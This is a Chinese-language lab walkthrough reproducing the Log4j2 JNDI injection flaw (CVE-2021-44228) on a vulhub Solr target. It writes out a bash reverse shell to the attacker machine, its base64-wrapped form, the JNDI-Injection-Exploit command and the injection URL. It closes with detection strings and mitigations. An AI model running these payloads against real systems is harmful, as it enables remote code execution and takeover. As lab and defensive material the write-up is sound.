Log4j2 JNDI 注入漏洞 (CVE-2021-44228) 漏洞恢复
一、前言
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。
Log4j是什么?JNDI又是什么?
Log4j2是一个Java日志框架,用于在应用程序中记录和管理日志信息。Log4j2被广泛应用于Java项目中,帮助开发人员进行日志记录和故障排查。
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现
二、环境搭建
攻击机:192.168.233.144
靶机:192.168.233.129 搭建环境
用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令
docker-compose up -d
查看端口
docker ps
发现开启的是8983,在浏览器*问
http://192.168.233.129:8983
三、利用JNDI注入工具
注入工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)
将代码下载到本地,解压后找到pom.xml文件所在目录
在目录栏输入cmd,回车
在cmd命令窗中输入
mvn clean package -DskipTests
当build成功后,pom.xml目录会出现target目录文件夹
此时将我们的JNDI文件夹整个复制到攻击机,进入到target目录
打开终端,利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去,我们输入以下命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构*弹shell的命令的base64编码" -A "攻击机ip"
构*弹shell的命令base64编码
#编码前:
bash -i >& /dev/tcp/192.168.233.144/6666 0>&1
#编码后::bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xNDQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
推荐一个编码网站
https://ares-x.com/tools/runtime-exec/
最终命令为
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xNDQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.233.144"
再开个窗口监听6666端口
我们随便复制一条紫色的代码
http://192.168.233.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}
替换掉注入点中的代码
此时我们监听的端口,成功获得了反弹shell
可执行命令操作
这样就利用JNDI注入工具实现了攻击,复现了log4j的远程代码执行漏洞。
四、来自log4j攻击怎么判断?怎么防御?
排查是否受到了攻击:
检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。
如何对log4j2的攻击进行防御?
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。
推荐阅读
-
Apache Log4j2 Jndi RCE CVE-2021-44228 漏洞模式解析
-
Apache Log4j2 漏洞 (CVE-2021-44228) 分析和复制
-
Log4J2 漏洞 (CVE-2021-44228) 模式
-
Log4j2 反序列化漏洞原理和恢复-2 恢复过程
-
Log4j2 漏洞复制 (CVE-2021-44228)
-
Apache Log4j2 CVE-2021-44228 漏洞复制分析
-
Log4j2 Jndi 漏洞原理分析、审查
-
漏洞学习与复制] 漏洞学习与复制Log4j2 (CVE-2021-44228) 漏洞复制
-
Apache log4j2-RCE 漏洞恢复 (CVE-2021-44228)
-
关于 Apache log4j2 远程代码执行漏洞 (CVE-2021-44228) 的文章